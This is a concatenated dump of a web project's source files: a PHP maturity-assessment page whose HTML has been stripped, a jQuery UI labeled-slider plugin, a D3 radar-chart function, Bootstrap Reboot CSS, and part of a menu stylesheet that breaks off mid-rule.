https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/main-page.png -------------------------------------------------------------------------------- /images/recommendations-page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/recommendations-page.png -------------------------------------------------------------------------------- /images/results-page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/results-page.png -------------------------------------------------------------------------------- /images/results-table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/results-table.png -------------------------------------------------------------------------------- /images/telescope-viewfinder-inverse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/telescope-viewfinder-inverse.png -------------------------------------------------------------------------------- /images/telescope-viewfinder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/images/telescope-viewfinder.png -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Viewfinder Maturity Assessment 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 42 | 43 | 44 | 45 | 46 |
47 |
48 |
49 |
50 | 51 | Viewfinder logo 52 | 53 |
54 |
55 | 62 |   63 |   64 |
65 |
66 |
67 | $value) { 73 | array_push($controls,$key); 74 | } 75 | 76 | function getControls ($area,$json) { 77 | $i=1; 78 | $qnum = $json[$area]['qnum']; 79 | $infoId = $qnum . "-" . $i; 80 | $title = $json[$area]['title']; 81 | $control = $area; 82 | print "

" . $json[$area]['overview'] . "

"; 83 | print ""; 104 | } 105 | ?> 106 |
107 |
108 |

Profile:

109 | 110 |
111 | ' . $title .''; 117 | } else { 118 | print ''; 119 | 120 | } 121 | $first++; 122 | } 123 | ?> 124 | 125 |
126 |
127 | 128 |
129 |
130 | 131 |
132 | 133 | '; 136 | getControls($control,$json); 137 | print '
'; 138 | } 139 | ?> 140 | 141 |
142 | 143 |
144 | 151 |

To which of the following frameworks do you have to adhere?

'; 152 | foreach ($jsonFrameworks as $framework) { 153 | print "     "; 154 | } 155 | 156 | print '
'; 157 | ?> 158 | 159 | 160 | 161 | 162 | 163 | 185 | 188 | 189 | -------------------------------------------------------------------------------- /js/jquery.ui.labeledslider.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Copyright (c) 2012 Ben Olson (https://github.com/bseth99/jquery-ui-extensions) 3 | * jQuery UI LabeledSlider @VERSION 4 | * 5 | * Permission is hereby granted, free of charge, to any person 6 | * obtaining a copy of this software and associated documentation 7 | * files (the "Software"), to deal in the Software without 8 | * restriction, including without limitation the rights to use, 9 | * copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the 11 | * Software is furnished to do so, subject to the following 12 | * conditions: 13 | * 14 | * The above copyright notice and this permission notice shall be 15 | * included in all copies or substantial portions of the Software. 16 | * 17 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 18 | * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 19 | * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 20 | * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 21 | * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 22 | * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 23 | * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 24 | * OTHER DEALINGS IN THE SOFTWARE. 25 | * 26 | * Depends: 27 | * jquery.ui.core.js 28 | * jquery.ui.widget.js 29 | * jquery.ui.mouse.js 30 | * jquery.ui.slider.js 31 | */ 32 | 33 | (function( $, undefined ) { 34 | 35 | 36 | $.widget( "ui.labeledslider", $.ui.slider, { 37 | 38 | version: "@VERSION", 39 | 40 | options: { 41 | tickInterval: 0, 42 | tweenLabels: true, 43 | tickLabels: null, 44 | tickArray: [] 45 | }, 46 | 47 | uiSlider: null, 48 | tickInterval: 0, 49 | tweenLabels: true, 50 | 51 | _create: function( ) { 52 | 53 | this._detectOrientation(); 54 | 55 | this.uiSlider = 56 | this.element 57 | .wrap( '
' ) 58 | .before( '
' ) 59 | .parent() 60 | .addClass( this.orientation ) 61 | .css( 'font-size', this.element.css('font-size') ); 62 | 63 | this._super(); 64 | 65 | this.element.removeClass( 'ui-widget' ) 66 | 67 | this._alignWithStep(); 68 | 69 | if ( this.orientation == 'horizontal' ) { 70 | this.uiSlider 71 | .width( this.element.css('width') ); 72 | } else { 73 | this.uiSlider 74 | .height( this.element.css('height') ); 75 | } 76 | 77 | this._drawLabels(); 78 | }, 79 | 80 | _drawLabels: function () { 81 | 82 | var labels = this.options.tickLabels || {}, 83 | $lbl = this.uiSlider.children( '.ui-slider-labels' ), 84 | dir = this.orientation == 'horizontal' ? 'left' : 'bottom', 85 | min = this.options.min, 86 | max = this.options.max, 87 | inr = this.tickInterval, 88 | cnt = ( max - min ), 89 | tickArray = this.options.tickArray, 90 | ta = tickArray.length > 0, 91 | label, pt, 92 | i = 0; 93 | 94 | $lbl.html(''); 95 | 96 | for (;i<=cnt;i++) { 97 | 98 | if ( ( !ta && i%inr == 0 ) || ( ta && tickArray.indexOf( i+min ) > -1 ) ) { 99 | 100 | label = labels[i+min] ? labels[i+min] : (this.options.tweenLabels ? i+min : ''); 101 | 102 | $('
').addClass( 'ui-slider-label-ticks' ) 103 | .css( dir, (Math.round( ( i / cnt ) * 10000 ) / 100) + '%' ) 104 | .html( ''+( label )+'' ) 105 | .appendTo( $lbl ); 106 | 107 | } 108 | } 109 | 110 | }, 111 | 112 | _setOption: function( key, value ) { 113 | 114 | this._super( key, value ); 115 | 116 | switch ( key ) { 117 | 118 | case 'tickInterval': 119 | case 'tickLabels': 120 | case 'tickArray': 121 | case 'min': 122 | case 'max': 123 | case 'step': 124 | 125 | this._alignWithStep(); 126 | this._drawLabels(); 127 | break; 128 | 129 | case 'orientation': 130 | 131 | this.element 132 | .removeClass( 'horizontal vertical' ) 133 | .addClass( this.orientation ); 134 | 135 | this._drawLabels(); 136 | break; 137 | } 138 | }, 139 | 140 | _alignWithStep: function () { 141 | if ( this.options.tickInterval < this.options.step ) 142 | this.tickInterval = this.options.step; 143 | else 144 | this.tickInterval = this.options.tickInterval; 145 | }, 146 | 147 | _destroy: function() { 148 | this._super(); 149 | this.uiSlider.replaceWith( this.element ); 150 | }, 151 | 152 | widget: function() { 153 | return this.uiSlider; 154 | } 155 | 156 | }); 157 | 158 | }(jQuery)); 159 | -------------------------------------------------------------------------------- /js/radarChart.js: -------------------------------------------------------------------------------- 1 | ///////////////////////////////////////////////////////// 2 | /////////////// The Radar Chart Function //////////////// 3 | /////////////// Written by Nadieh Bremer //////////////// 4 | ////////////////// VisualCinnamon.com /////////////////// 5 | /////////// Inspired by the code of alangrafu /////////// 6 | ///////////////////////////////////////////////////////// 7 | 8 | function RadarChart(id, data, options) { 9 | var cfg = { 10 | w: 600, //Width of the circle 11 | h: 600, //Height of the circle 12 | margin: {top: 20, right: 20, bottom: 20, left: 20}, //The margins of the SVG 13 | levels: 8, //How many levels or inner circles should there be drawn 14 | maxValue: 36, //What is the value that the biggest circle will represent 15 | labelFactor: 1.25, //How much farther than the radius of the outer circle should the labels be placed 16 | wrapWidth: 60, //The number of pixels after which a label needs to be given a new line 17 | opacityArea: 0.35, //The opacity of the area of the blob 18 | dotRadius: 4, //The size of the colored circles of each blog 19 | opacityCircles: 0.1, //The opacity of the circles of each blob 20 | strokeWidth: 2, //The width of the stroke around each blob 21 | roundStrokes: false, //If true the area and stroke will follow a round path (cardinal-closed) 22 | color: d3.scale.category10() //Color function 23 | }; 24 | 25 | //Put all of the options into a variable called cfg 26 | if('undefined' !== typeof options){ 27 | for(var i in options){ 28 | if('undefined' !== typeof options[i]){ cfg[i] = options[i]; } 29 | }//for i 30 | }//if 31 | 32 | //If the supplied maxValue is smaller than the actual one, replace by the max in the data 33 | //var maxValue = Math.max(cfg.maxValue, d3.max(data, function(i){return d3.max(i.map(function(o){return o.value;}))})); 34 | var maxValue = 36 35 | var allAxis = (data[0].map(function(i, j){return i.axis})), //Names of each axis 36 | total = allAxis.length, //The number of different axes 37 | radius = Math.min(cfg.w/2, cfg.h/2), //Radius of the outermost circle 38 | Format = d3.format(''), //Percentage formatting 39 | angleSlice = Math.PI * 2 / total; //The width in radians of each "slice" 40 | 41 | //Scale for the radius 42 | var rScale = d3.scale.linear() 43 | .range([0, radius]) 44 | .domain([0, maxValue]); 45 | 46 | ///////////////////////////////////////////////////////// 47 | //////////// Create the container SVG and g ///////////// 48 | ///////////////////////////////////////////////////////// 49 | 50 | //Remove whatever chart with the same id/class was present before 51 | d3.select(id).select("svg").remove(); 52 | 53 | //Initiate the radar chart SVG 54 | var svg = d3.select(id).append("svg") 55 | .attr("width", cfg.w + cfg.margin.left + cfg.margin.right) 56 | .attr("height", cfg.h + cfg.margin.top + cfg.margin.bottom) 57 | .attr("class", "radar"+id); 58 | //Append a g element 59 | var g = svg.append("g") 60 | .attr("transform", "translate(" + (cfg.w/2 + cfg.margin.left) + "," + (cfg.h/2 + cfg.margin.top) + ")"); 61 | 62 | ///////////////////////////////////////////////////////// 63 | ////////// Glow filter for some extra pizzazz /////////// 64 | ///////////////////////////////////////////////////////// 65 | 66 | //Filter for the outside glow 67 | var filter = g.append('defs').append('filter').attr('id','glow'), 68 | feGaussianBlur = filter.append('feGaussianBlur').attr('stdDeviation','2.5').attr('result','coloredBlur'), 69 | feMerge = filter.append('feMerge'), 70 | feMergeNode_1 = feMerge.append('feMergeNode').attr('in','coloredBlur'), 71 | feMergeNode_2 = feMerge.append('feMergeNode').attr('in','SourceGraphic'); 72 | 73 | ///////////////////////////////////////////////////////// 74 | /////////////// Draw the Circular grid ////////////////// 75 | ///////////////////////////////////////////////////////// 76 | 77 | //Wrapper for the grid & axes 78 | var axisGrid = g.append("g").attr("class", "axisWrapper"); 79 | 80 | //Draw the background circles 81 | axisGrid.selectAll(".levels") 82 | .data(d3.range(1,(cfg.levels+1)).reverse()) 83 | .enter() 84 | .append("circle") 85 | .attr("class", "gridCircle") 86 | .attr("r", function(d, i){return radius/cfg.levels*d;}) 87 | .style("fill", "#CDCDCD") 88 | .style("stroke", "#CDCDCD") 89 | .style("fill-opacity", cfg.opacityCircles) 90 | .style("filter" , "url(#glow)"); 91 | 92 | //Text indicating at what % each level is 93 | axisGrid.selectAll(".axisLabel") 94 | .data(d3.range(1,(cfg.levels+1)).reverse()) 95 | .enter().append("text") 96 | .attr("class", "axisLabel") 97 | .attr("x", 4) 98 | //.attr("y", function(d){return -d*radius/cfg.levels;}) 99 | .attr("dy", "0.4em") 100 | .style("font-size", "10px") 101 | .attr("fill", "#737373") 102 | //.text(function(d,i) { return Format(maxValue * d/cfg.levels); }); 103 | 104 | ///////////////////////////////////////////////////////// 105 | //////////////////// Draw the axes ////////////////////// 106 | ///////////////////////////////////////////////////////// 107 | 108 | //Create the straight lines radiating outward from the center 109 | var axis = axisGrid.selectAll(".axis") 110 | .data(allAxis) 111 | .enter() 112 | .append("g") 113 | .attr("class", "axis"); 114 | //Append the lines 115 | axis.append("line") 116 | .attr("x1", 0) 117 | .attr("y1", 0) 118 | .attr("x2", function(d, i){ return rScale(maxValue*1.1) * Math.cos(angleSlice*i - Math.PI/2); }) 119 | .attr("y2", function(d, i){ return rScale(maxValue*1.1) * Math.sin(angleSlice*i - Math.PI/2); }) 120 | .attr("class", "line") 121 | .style("stroke", "white") 122 | .style("stroke-width", "2px"); 123 | 124 | //Append the labels at each axis 125 | axis.append("text") 126 | .attr("class", "legend") 127 | .style("font-size", "11px") 128 | .attr("text-anchor", "middle") 129 | .attr("dy", "0.35em") 130 | .attr("x", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.cos(angleSlice*i - Math.PI/2); }) 131 | .attr("y", function(d, i){ return rScale(maxValue * cfg.labelFactor) * Math.sin(angleSlice*i - Math.PI/2); }) 132 | .text(function(d){return d}) 133 | .call(wrap, cfg.wrapWidth); 134 | 135 | ///////////////////////////////////////////////////////// 136 | ///////////// Draw the radar chart blobs //////////////// 137 | ///////////////////////////////////////////////////////// 138 | 139 | //The radial line function 140 | var radarLine = d3.svg.line.radial() 141 | .interpolate("linear-closed") 142 | .radius(function(d) { return rScale(d.value); }) 143 | .angle(function(d,i) { return i*angleSlice; }); 144 | 145 | if(cfg.roundStrokes) { 146 | radarLine.interpolate("cardinal-closed"); 147 | } 148 | 149 | //Create a wrapper for the blobs 150 | var blobWrapper = g.selectAll(".radarWrapper") 151 | .data(data) 152 | .enter().append("g") 153 | .attr("class", "radarWrapper"); 154 | 155 | //Append the backgrounds 156 | blobWrapper 157 | .append("path") 158 | .attr("class", "radarArea") 159 | .attr("d", function(d,i) { return radarLine(d); }) 160 | .style("fill", function(d,i) { return cfg.color(i); }) 161 | .style("fill-opacity", cfg.opacityArea) 162 | .on('mouseover', function (d,i){ 163 | //Dim all blobs 164 | d3.selectAll(".radarArea") 165 | .transition().duration(200) 166 | .style("fill-opacity", 0.1); 167 | //Bring back the hovered over blob 168 | d3.select(this) 169 | .transition().duration(200) 170 | .style("fill-opacity", 0.7); 171 | }) 172 | .on('mouseout', function(){ 173 | //Bring back all blobs 174 | d3.selectAll(".radarArea") 175 | .transition().duration(200) 176 | .style("fill-opacity", cfg.opacityArea); 177 | }); 178 | 179 | //Create the outlines 180 | blobWrapper.append("path") 181 | .attr("class", "radarStroke") 182 | .attr("d", function(d,i) { return radarLine(d); }) 183 | .style("stroke-width", cfg.strokeWidth + "px") 184 | .style("stroke", function(d,i) { return cfg.color(i); }) 185 | .style("fill", "none") 186 | .style("filter" , "url(#glow)"); 187 | 188 | //Append the circles 189 | blobWrapper.selectAll(".radarCircle") 190 | .data(function(d,i) { return d; }) 191 | .enter().append("circle") 192 | .attr("class", "radarCircle") 193 | .attr("r", cfg.dotRadius) 194 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); }) 195 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); }) 196 | .style("fill", function(d,i,j) { return cfg.color(j); }) 197 | .style("fill-opacity", 0.8); 198 | 199 | ///////////////////////////////////////////////////////// 200 | //////// Append invisible circles for tooltip /////////// 201 | ///////////////////////////////////////////////////////// 202 | 203 | //Wrapper for the invisible circles on top 204 | var blobCircleWrapper = g.selectAll(".radarCircleWrapper") 205 | .data(data) 206 | .enter().append("g") 207 | .attr("class", "radarCircleWrapper"); 208 | 209 | //Append a set of invisible circles on top for the mouseover pop-up 210 | blobCircleWrapper.selectAll(".radarInvisibleCircle") 211 | .data(function(d,i) { return d; }) 212 | .enter().append("circle") 213 | .attr("class", "radarInvisibleCircle") 214 | .attr("r", cfg.dotRadius*1.5) 215 | .attr("cx", function(d,i){ return rScale(d.value) * Math.cos(angleSlice*i - Math.PI/2); }) 216 | .attr("cy", function(d,i){ return rScale(d.value) * Math.sin(angleSlice*i - Math.PI/2); }) 217 | .style("fill", "none") 218 | .style("pointer-events", "all") 219 | .on("mouseover", function(d,i) { 220 | newX = parseFloat(d3.select(this).attr('cx')) - 10; 221 | newY = parseFloat(d3.select(this).attr('cy')) - 10; 222 | 223 | tooltip 224 | .attr('x', newX) 225 | .attr('y', newY) 226 | .text(Format(d.value)) 227 | .transition().duration(200) 228 | .style('opacity', 1); 229 | }) 230 | .on("mouseout", function(){ 231 | tooltip.transition().duration(200) 232 | .style("opacity", 0); 233 | }); 234 | 235 | //Set up the small tooltip for when you hover over a circle 236 | var tooltip = g.append("text") 237 | .attr("class", "tooltip") 238 | .style("opacity", 0); 239 | 240 | ///////////////////////////////////////////////////////// 241 | /////////////////// Helper Function ///////////////////// 242 | ///////////////////////////////////////////////////////// 243 | 244 | //Taken from http://bl.ocks.org/mbostock/7555321 245 | //Wraps SVG text 246 | function wrap(text, width) { 247 | text.each(function() { 248 | var text = d3.select(this), 249 | words = text.text().split(/\s+/).reverse(), 250 | word, 251 | line = [], 252 | lineNumber = 0, 253 | lineHeight = 1.4, // ems 254 | y = text.attr("y"), 255 | x = text.attr("x"), 256 | dy = parseFloat(text.attr("dy")), 257 | tspan = text.text(null).append("tspan").attr("x", x).attr("y", y).attr("dy", dy + "em"); 258 | 259 | while (word = words.pop()) { 260 | line.push(word); 261 | tspan.text(line.join(" ")); 262 | if (tspan.node().getComputedTextLength() > width) { 263 | line.pop(); 264 | tspan.text(line.join(" ")); 265 | line = [word]; 266 | tspan = text.append("tspan").attr("x", x).attr("y", y).attr("dy", ++lineNumber * lineHeight + dy + "em").text(word); 267 | } 268 | } 269 | }); 270 | }//wrap 271 | 272 | }//RadarChart -------------------------------------------------------------------------------- /report/css/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/report/css/.DS_Store -------------------------------------------------------------------------------- /report/css/bootstrap-reboot.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2018 The Bootstrap Authors 4 | * Copyright 2011-2018 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) 7 | */ 8 | *, 9 | *::before, 10 | *::after { 11 | box-sizing: border-box; 12 | } 13 | 14 | html { 15 | font-family: sans-serif; 16 | line-height: 1.15; 17 | -webkit-text-size-adjust: 100%; 18 | -ms-text-size-adjust: 100%; 19 | -ms-overflow-style: scrollbar; 20 | -webkit-tap-highlight-color: transparent; 21 | } 22 | 23 | @-ms-viewport { 24 | width: device-width; 25 | } 26 | 27 | article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section { 28 | display: block; 29 | } 30 | 31 | body { 32 | margin: 0; 33 | font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; 34 | font-size: 1rem; 35 | font-weight: 400; 36 | line-height: 1.5; 37 | color: #212529; 38 | text-align: left; 39 | background-color: #fff; 40 | } 41 | 42 | [tabindex="-1"]:focus { 43 | outline: 0 !important; 44 | } 45 | 46 | hr { 47 | box-sizing: content-box; 48 | height: 0; 49 | overflow: visible; 50 | } 51 | 52 | h1, h2, h3, h4, h5, h6 { 53 | margin-top: 0; 54 | margin-bottom: 0.5rem; 55 | } 56 | 57 | p { 58 | margin-top: 0; 59 | margin-bottom: 1rem; 60 | } 61 | 62 | abbr[title], 63 | abbr[data-original-title] { 64 | text-decoration: underline; 65 | -webkit-text-decoration: underline dotted; 66 | text-decoration: underline dotted; 67 | cursor: help; 68 | border-bottom: 0; 69 | } 70 | 71 | address { 72 | margin-bottom: 1rem; 73 | font-style: normal; 74 | line-height: inherit; 75 | } 76 | 77 | ol, 78 | ul, 79 | dl { 80 | margin-top: 0; 81 | margin-bottom: 1rem; 82 | } 83 | 84 | ol ol, 85 | ul ul, 86 | ol ul, 87 | ul ol { 88 | margin-bottom: 0; 89 | } 90 | 91 | dt { 92 | font-weight: 700; 93 | } 94 | 95 | dd { 96 | margin-bottom: .5rem; 97 | margin-left: 0; 98 | } 99 | 100 | blockquote { 101 | margin: 0 0 1rem; 102 | } 103 | 104 | dfn { 105 | font-style: italic; 106 | } 107 | 108 | b, 109 | strong { 110 | font-weight: bolder; 111 | } 112 | 113 | small { 114 | font-size: 80%; 115 | } 116 | 117 | sub, 118 | sup { 119 | position: relative; 120 | font-size: 75%; 121 | line-height: 0; 122 | vertical-align: baseline; 123 | } 124 | 125 | sub { 126 | bottom: -.25em; 127 | } 128 | 129 | sup { 130 | top: -.5em; 131 | } 132 | 133 | a { 134 | color: #007bff; 135 | text-decoration: none; 136 | background-color: transparent; 137 | -webkit-text-decoration-skip: objects; 138 | } 139 | 140 | a:hover { 141 | color: #0056b3; 142 | text-decoration: underline; 143 | } 144 | 145 | a:not([href]):not([tabindex]) { 146 | color: inherit; 147 | text-decoration: none; 148 | } 149 | 150 | a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { 151 | color: inherit; 152 | text-decoration: none; 153 | } 154 | 155 | a:not([href]):not([tabindex]):focus { 156 | outline: 0; 157 | } 158 | 159 | pre, 160 | code, 161 | kbd, 162 | samp { 163 | font-family: monospace, monospace; 164 | font-size: 1em; 165 | } 166 | 167 | pre { 168 | margin-top: 0; 169 | margin-bottom: 1rem; 170 | overflow: auto; 171 | -ms-overflow-style: scrollbar; 172 | } 173 | 174 | figure { 175 | margin: 0 0 1rem; 176 | } 177 | 178 | img { 179 | vertical-align: middle; 180 | border-style: none; 181 | } 182 | 183 | svg:not(:root) { 184 | overflow: hidden; 185 | } 186 | 187 | table { 188 | border-collapse: collapse; 189 | } 190 | 191 | caption { 192 | padding-top: 0.75rem; 193 | padding-bottom: 0.75rem; 194 | color: #6c757d; 195 | text-align: left; 196 | caption-side: bottom; 197 | } 198 | 199 | th { 200 | text-align: inherit; 201 | } 202 | 203 | label { 204 | display: inline-block; 205 | margin-bottom: 0.5rem; 206 | } 207 | 208 | button { 209 | border-radius: 0; 210 | } 211 | 212 | button:focus { 213 | outline: 1px dotted; 214 | outline: 5px auto -webkit-focus-ring-color; 215 | } 216 | 217 | input, 218 | button, 219 | select, 220 | optgroup, 221 | textarea { 222 | margin: 0; 223 | font-family: inherit; 224 | font-size: inherit; 225 | line-height: inherit; 226 | } 227 | 228 | button, 229 | input { 230 | overflow: visible; 231 | } 232 | 233 | button, 234 | select { 235 | text-transform: none; 236 | } 237 | 238 | button, 239 | html [type="button"], 240 | [type="reset"], 241 | [type="submit"] { 242 | -webkit-appearance: button; 243 | } 244 | 245 | button::-moz-focus-inner, 246 | [type="button"]::-moz-focus-inner, 247 | [type="reset"]::-moz-focus-inner, 248 | [type="submit"]::-moz-focus-inner { 249 | padding: 0; 250 | border-style: none; 251 | } 252 | 253 | input[type="radio"], 254 | input[type="checkbox"] { 255 | box-sizing: border-box; 256 | padding: 0; 257 | } 258 | 259 | input[type="date"], 260 | input[type="time"], 261 | input[type="datetime-local"], 262 | input[type="month"] { 263 | -webkit-appearance: listbox; 264 | } 265 | 266 | textarea { 267 | overflow: auto; 268 | resize: vertical; 269 | } 270 | 271 | fieldset { 272 | min-width: 0; 273 | padding: 0; 274 | margin: 0; 275 | border: 0; 276 | } 277 | 278 | legend { 279 | display: block; 280 | width: 100%; 281 | max-width: 100%; 282 | padding: 0; 283 | margin-bottom: .5rem; 284 | font-size: 1.5rem; 285 | line-height: inherit; 286 | color: inherit; 287 | white-space: normal; 288 | } 289 | 290 | progress { 291 | vertical-align: baseline; 292 | } 293 | 294 | [type="number"]::-webkit-inner-spin-button, 295 | [type="number"]::-webkit-outer-spin-button { 296 | height: auto; 297 | } 298 | 299 | [type="search"] { 300 | outline-offset: -2px; 301 | -webkit-appearance: none; 302 | } 303 | 304 | [type="search"]::-webkit-search-cancel-button, 305 | [type="search"]::-webkit-search-decoration { 306 | -webkit-appearance: none; 307 | } 308 | 309 | ::-webkit-file-upload-button { 310 | font: inherit; 311 | -webkit-appearance: button; 312 | } 313 | 314 | output { 315 | display: inline-block; 316 | } 317 | 318 | summary { 319 | display: list-item; 320 | cursor: pointer; 321 | } 322 | 323 | template { 324 | display: none; 325 | } 326 | 327 | [hidden] { 328 | display: none !important; 329 | } 330 | /*# sourceMappingURL=bootstrap-reboot.css.map */ -------------------------------------------------------------------------------- /report/css/bootstrap-reboot.min.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/) 3 | * Copyright 2011-2018 The Bootstrap Authors 4 | * Copyright 2011-2018 Twitter, Inc. 5 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 6 | * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) 7 | */*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important} 8 | /*# sourceMappingURL=bootstrap-reboot.min.css.map */ -------------------------------------------------------------------------------- /report/css/meanmenu.css: -------------------------------------------------------------------------------- 1 | /*--------------------------------------------------------------------- File Name: meanmenu.css ---------------------------------------------------------------------*/ 2 | a.meanmenu-reveal { 3 | display: none; 4 | } 5 | .mean-container .mean-bar { 6 | background: #000; 7 | float: left; 8 | min-height: 40px; 9 | padding: 5px 0; 10 | position: relative; 11 | width: 100%; 12 | z-index: 999; 13 | margin-top: 15px; 14 | } 15 | .mean-container a.meanmenu-reveal { 16 | color: #fff; 17 | cursor: pointer; 18 | display: block; 19 | font-family: 'Roboto', sans-serif; 20 | font-weight: 400; 21 | height: 22px; 22 | line-height: 22px; 23 | position: absolute; 24 | right: 12px; 25 | text-decoration: none; 26 | top: 12px; 27 | width: 26px; 28 | } 29 | .mean-container a.meanmenu-reveal span { 30 | background: #ffffff none repeat scroll 0 0; 31 | border-radius: 0; 32 | display: block; 33 | height: 4px; 34 | margin-top: 3px; 35 | width: auto; 36 | } 37 | .mean-container a.meanmenu-reveal span:first-child { 38 | margin: 0 39 | } 40 | .mean-container .mean-nav { 41 | background: #ffffff none repeat scroll 0 0; 42 | float: left; 43 | margin-top: 44px; 44 | width: 100%; 45 | } 46 | .mean-container .mean-nav ul { 47 | padding: 0; 48 | margin: 0; 49 | width: 100%; 50 | list-style-type: none; 51 | } 52 | .mean-container .mean-nav ul li { 53 | position: relative; 54 | float: left; 55 | width: 100%; 56 | } 57 | .mean-container .mean-nav ul li a { 58 | border-bottom: 1px solid #ccc; 59 | color: #383838; 60 | display: block; 61 | float: left; 62 | font-size: 12px; 63 | font-weight: 500; 64 | margin: 0; 65 | padding: 1em 5%; 66 | text-align: left; 67 | text-decoration: none; 68 | text-transform: uppercase; 69 | width: 90%; 70 | } 71 | .mean-container .mean-nav ul li a:hover { 72 | color: #38c8a8; 73 | } 74 | .mean-container .mean-nav ul li li a { 